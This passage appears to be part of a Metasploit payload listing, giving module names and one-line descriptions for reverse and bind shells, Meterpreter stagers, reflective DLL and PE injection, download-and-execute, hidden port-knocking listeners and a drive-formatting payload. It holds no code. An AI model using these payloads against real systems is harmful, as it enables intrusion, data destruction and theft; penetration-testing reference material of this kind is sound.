SSL\npython/meterpreter/reverse_tcp Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker\npython/meterpreter/reverse_tcp_ssl Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Reverse Python connect back stager using SSL\npython/meterpreter/reverse_tcp_uuid Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker with UUID Support\npython/meterpreter_bind_tcp Connect to the victim and spawn a Meterpreter shell\npython/meterpreter_reverse_http Connect back to the attacker and spawn a Meterpreter shell\npython/meterpreter_reverse_https Connect back to the attacker and spawn a Meterpreter shell\npython/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell\npython/pingback_bind_tcp Listens for a connection from the attacker, sends a UUID, then terminates\npython/pingback_reverse_tcp Connects back to the attacker, sends a UUID, then terminates\npython/shell_bind_tcp Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.\npython/shell_reverse_tcp Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.\npython/shell_reverse_tcp_ssl Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.\npython/shell_reverse_udp Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.\nr/shell_bind_tcp Continually listen for a connection and spawn a command shell via R\nr/shell_reverse_tcp Connect back and create a command shell via R\nruby/pingback_bind_tcp Listens for a connection from the attacker, sends a UUID, then terminates\nruby/pingback_reverse_tcp Connect back to the attacker, sends a UUID, then terminates\nruby/shell_bind_tcp Continually listen for a connection and spawn a command shell via Ruby\nruby/shell_bind_tcp_ipv6 Continually listen for a connection and spawn a command shell via Ruby\nruby/shell_reverse_tcp Connect back and create a command shell via Ruby\nruby/shell_reverse_tcp_ssl Connect back and create a command shell via Ruby, uses SSL\nsolaris/sparc/shell_bind_tcp Listen for a connection and spawn a command shell\nsolaris/sparc/shell_find_port Spawn a shell on an established connection\nsolaris/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nsolaris/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nsolaris/x86/shell_find_port Spawn a shell on an established connection\nsolaris/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\ntty/unix/interact Interacts with a TTY on an established socket connection\nwindows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)\nwindows/dllinject/bind_hidden_ipknock_tcp Inject a DLL via a reflective loader. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method(you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/dllinject/bind_hidden_tcp Inject a DLL via a reflective loader. Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/dllinject/bind_ipv6_tcp Inject a DLL via a reflective loader. Listen for an IPv6 connection (Windows x86)\nwindows/dllinject/bind_ipv6_tcp_uuid Inject a DLL via a reflective loader. Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/dllinject/bind_named_pipe Inject a DLL via a reflective loader. Listen for a pipe connection (Windows x86)\nwindows/dllinject/bind_nonx_tcp Inject a DLL via a reflective loader. Listen for a connection (No NX)\nwindows/dllinject/bind_tcp Inject a DLL via a reflective loader. Listen for a connection (Windows x86)\nwindows/dllinject/bind_tcp_rc4 Inject a DLL via a reflective loader. Listen for a connection\nwindows/dllinject/bind_tcp_uuid Inject a DLL via a reflective loader. Listen for a connection with UUID Support (Windows x86)\nwindows/dllinject/find_tag Inject a DLL via a reflective loader. Use an established connection\nwindows/dllinject/reverse_hop_http Inject a DLL via a reflective loader. Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as ahop.\nwindows/dllinject/reverse_http Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows wininet)\nwindows/dllinject/reverse_http_proxy_pstore Inject a DLL via a reflective loader. Tunnel communication over HTTP\nwindows/dllinject/reverse_ipv6_tcp Inject a DLL via a reflective loader. Connect back to the attacker over IPv6\nwindows/dllinject/reverse_nonx_tcp Inject a DLL via a reflective loader. Connect back to the attacker (No NX)\nwindows/dllinject/reverse_ord_tcp Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp_allports Inject a DLL via a reflective loader. Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/dllinject/reverse_tcp_dns Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp_rc4 Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp_rc4_dns Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp_uuid Inject a DLL via a reflective loader. Connect back to the attacker with UUID Support\nwindows/dllinject/reverse_winhttp Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows winhttp)\nwindows/dns_txt_query_exec Performs a TXT query against a series of DNS record(s) and executes the returned payload\nwindows/download_exec Download an EXE from an HTTP(S)/FTP URL and execute it\nwindows/exec Execute an arbitrary command\nwindows/format_all_drives This payload formats all mounted disks in Windows (aka ShellcodeOfDeath). After formatting, this payload sets the volume label to the string specified in the VOLUMELABEL option. If the code is unable to access a drive for any reason, it skips the drive and proceeds to the next volume.\nwindows/loadlibrary Load an arbitrary library path\nwindows/messagebox Spawns a dialog via MessageBox using a customizable title, text & icon\nwindows/meterpreter/bind_hidden_ipknock_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. Thesocket will appear as "closed," thus helping to hide the shellcode\nwindows/meterpreter/bind_hidden_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/meterpreter/bind_ipv6_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection (Windows x86)\nwindows/meterpreter/bind_ipv6_tcp_uuid Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/meterpreter/bind_named_pipe Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a pipe connection (Windows x86)\nwindows/meterpreter/bind_nonx_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection (No NX)\nwindows/meterpreter/bind_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection (Windows x86)\nwindows/meterpreter/bind_tcp_rc4 Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection\nwindows/meterpreter/bind_tcp_uuid Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection with UUID Support (Windows x86)\nwindows/meterpreter/find_tag Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Use an established connection\nwindows/meterpreter/reverse_hop_http Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.\nwindows/meterpreter/reverse_http Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows wininet)\nwindows/meterpreter/reverse_http_proxy_pstore Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP\nwindows/meterpreter/reverse_https Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTPS (Windows wininet)\nwindows/meterpreter/reverse_https_proxy Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP using SSL with custom proxy support\nwindows/meterpreter/reverse_ipv6_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker over IPv6\nwindows/meterpreter/reverse_named_pipe Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker via a named pipe pivot\nwindows/meterpreter/reverse_nonx_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker (No NX)\nwindows/meterpreter/reverse_ord_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp_allports Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/meterpreter/reverse_tcp_dns Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp_rc4 Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp_rc4_dns Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp_uuid Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker with UUID Support\nwindows/meterpreter/reverse_winhttp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows winhttp)\nwindows/meterpreter/reverse_winhttps Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTPS (Windows winhttp)\nwindows/meterpreter_bind_named_pipe Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service\nwindows/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service\nwindows/patchupdllinject/bind_hidden_ipknock_tcp Inject a custom DLL into the exploited process. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/patchupdllinject/bind_hidden_tcp Inject a custom DLL into the exploited process. Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/patchupdllinject/bind_ipv6_tcp Inject a custom DLL into the exploited process. Listen for an IPv6 connection (Windows x86)\nwindows/patchupdllinject/bind_ipv6_tcp_uuid Inject a custom DLL into the exploited process. Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/patchupdllinject/bind_named_pipe Inject a custom DLL into the exploited process. Listen for a pipe connection (Windows x86)\nwindows/patchupdllinject/bind_nonx_tcp Inject a custom DLL into the exploited process. Listen for a connection (No NX)\nwindows/patchupdllinject/bind_tcp Inject a custom DLL into the exploited process. Listen for a connection (Windows x86)\nwindows/patchupdllinject/bind_tcp_rc4 Inject a custom DLL into the exploited process. Listen for a connection\nwindows/patchupdllinject/bind_tcp_uuid Inject a custom DLL into the exploited process. Listen for a connection with UUID Support (Windows x86)\nwindows/patchupdllinject/find_tag Inject a custom DLL into the exploited process. Use an established connection\nwindows/patchupdllinject/reverse_ipv6_tcp Inject a custom DLL into the exploited process. Connect back to the attacker over IPv6\nwindows/patchupdllinject/reverse_nonx_tcp Inject a custom DLL into the exploited process. Connect back to the attacker (No NX)\nwindows/patchupdllinject/reverse_ord_tcp Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp_allports Inject a custom DLL into the exploited process. Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/patchupdllinject/reverse_tcp_dns Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp_rc4 Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp_rc4_dns Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp_uuid Inject a custom DLL into the exploited process. Connect back to the attacker with UUID Support\nwindows/patchupmeterpreter/bind_hidden_ipknock_tcp Inject the meterpreter server DLL (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/patchupmeterpreter/bind_hidden_tcp Inject the meterpreter server DLL (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/patchupmeterpreter/bind_ipv6_tcp Inject the meterpreter server DLL (staged). Listen for an IPv6 connection (Windows x86)\nwindows/patchupmeterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL (staged). Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/patchupmeterpreter/bind_named_pipe Inject the meterpreter server DLL (staged). Listen for a pipe connection (Windows x86)\nwindows/patchupmeterpreter/bind_nonx_tcp Inject the meterpreter server DLL (staged). Listen for a connection (No NX)\nwindows/patchupmeterpreter/bind_tcp Inject the meterpreter server DLL (staged). Listen for a connection (Windows x86)\nwindows/patchupmeterpreter/bind_tcp_rc4 Inject the meterpreter server DLL (staged). Listen for a connection\nwindows/patchupmeterpreter/bind_tcp_uuid Inject the meterpreter server DLL (staged). Listen for a connection with UUID Support (Windows x86)\nwindows/patchupmeterpreter/find_tag Inject the meterpreter server DLL (staged). Use an established connection\nwindows/patchupmeterpreter/reverse_ipv6_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker over IPv6\nwindows/patchupmeterpreter/reverse_nonx_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker (No NX)\nwindows/patchupmeterpreter/reverse_ord_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp_allports Inject the meterpreter server DLL (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/patchupmeterpreter/reverse_tcp_dns Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp_rc4_dns Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp_uuid Inject the meterpreter server DLL (staged). Connect back to the attacker with UUID Support\nwindows/peinject/bind_hidden_ipknock_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connection.First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you couldget your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/peinject/bind_hidden_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connectionfrom a hidden port and spawn a command shell to the allowed host.\nwindows/peinject/bind_ipv6_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for an IPv6 connection (Windows x86)\nwindows/peinject/bind_ipv6_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/peinject/bind_named_pipe Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a pipe connection (Windows x86)\nwindows/peinject/bind_nonx_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connection(No NX)\nwindows/peinject/bind_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connection(Windows x86)\nwindows/peinject/bind_tcp_rc4 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connection\nwindows/peinject/bind_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connectionwith UUID Support (Windows x86)\nwindows/peinject/find_tag Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Use an established connection\nwindows/peinject/reverse_ipv6_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker over IPv6\nwindows/peinject/reverse_named_pipe Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker via a named pipe pivot\nwindows/peinject/reverse_nonx_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker (No NX)\nwindows/peinject/reverse_ord_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp_allports Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/peinject/reverse_tcp_dns Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp_rc4 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp_rc4_dns Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker with UUID Support\nwindows/pingback_bind_tcp Open a socket and report UUID when a connection is received (Windows x86)\nwindows/pingback_reverse_tcp Connect back to attacker and report UUID (Windows x86)\nwindows/powershell_bind_tcp Listen for a connection and spawn an interactive powershell session\nwindows/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell session\nwindows/shell/bind_hidden_ipknock_tcp Spawn a piped command shell (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method(you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/shell/bind_hidden_tcp Spawn a piped command shell (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/shell/bind_ipv6_tcp Spawn a piped command shell (staged). Listen for an IPv6 connection (Windows x86)\nwindows/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (staged). Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/shell/bind_named_pipe Spawn a piped command shell (staged). Listen for a pipe connection (Windows x86)\nwindows/shell/bind_nonx_tcp Spawn a piped command shell (staged). Listen for a connection (No NX)\nwindows/shell/bind_tcp Spawn a piped command shell (staged). Listen for a connection (Windows x86)\nwindows/shell/bind_tcp_rc4 Spawn a piped command shell (staged). Listen for a connection\nwindows/shell/bind_tcp_uuid Spawn a piped command shell (staged). Listen for a connection with UUID Support (Windows x86)\nwindows/shell/find_tag Spawn a piped command shell (staged). Use an established connection\nwindows/shell/reverse_ipv6_tcp Spawn a piped command shell (staged). Connect back to the attacker over IPv6\nwindows/shell/reverse_nonx_tcp Spawn a piped command shell (staged). Connect back to the attacker (No NX)\nwindows/shell/reverse_ord_tcp Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp_allports Spawn a piped command shell (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/shell/reverse_tcp_dns Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp_rc4 Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp_rc4_dns Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp_uuid Spawn a piped command shell (staged). Connect back to the attacker with UUID Support\nwindows/shell/reverse_udp Spawn a piped command shell (staged). Connect back to the attacker with UUID Support\nwindows/shell_bind_tcp Listen for a connection and spawn a command shell\nwindows/shell_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spawn a command shell\nwindows/shell_hidden_bind_tcp Listen for a connection from certain IP and spawn a command shell. The shellcode will reply with a RST packet if the connections is not coming from the IP defined in AHOST. This way the port will appear as "closed" helping us to hide the shellcode.\nwindows/shell_reverse_tcp Connect back to attacker and spawn a command shell\nwindows/speak_pwned Causes the target to say "You Got Pwned" via the Windows Speech API\nwindows/upexec/bind_hidden_ipknock_tcp Uploads an executable and runs it (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/upexec/bind_hidden_tcp Uploads an executable and runs it (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/upexec/bind_ipv6_tcp Uploads an executable and runs it (staged). Listen for an IPv6 connection (Windows x86)\nwindows/upexec/bind_ipv6_tcp_uuid Uploads an executable and runs it (staged). Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/upexec/bind_named_pipe Uploads an executable and runs it (staged). Listen for a pipe connection (Windows x86)\nwindows/upexec/bind_nonx_tcp Uploads an executable and runs it (staged). Listen for a connection (No NX)\nwindows/upexec/bind_tcp Uploads an executable and runs it (staged). Listen for a connection (Windows x86)\nwindows/upexec/bind_tcp_rc4 Uploads an executable and runs it (staged). Listen for a connection\nwindows/upexec/bind_tcp_uuid Uploads an executable and runs it (staged). Listen for a connection with UUID Support (Windows x86)\nwindows/upexec/find_tag Uploads an executable and runs it (staged). Use an established connection\nwindows/upexec/reverse_ipv6_tcp Uploads an executable and runs it (staged). Connect back to the attacker over IPv6\nwindows/upexec/reverse_nonx_tcp Uploads an executable and runs it (staged). Connect back to the attacker (No NX)\nwindows/upexec/reverse_ord_tcp Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp_allports Uploads an executable and runs it (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/upexec/reverse_tcp_dns Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp_rc4 Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp_rc4_dns Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp_uuid Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support\nwindows/upexec/reverse_udp Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support\nwindows/vncinject/bind_hidden_ipknock_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/vncinject/bind_hidden_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection (Windows x86)\nwindows/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/vncinject/bind_named_pipe Inject a VNC Dll via a reflective loader (staged). Listen for a pipe connection (Windows x86)\nwindows/vncinject/bind_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection (No NX)\nwindows/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection (Windows x86)\nwindows/vncinject/bind_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Listen for a connection\nwindows/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for a connection with UUID Support (Windows 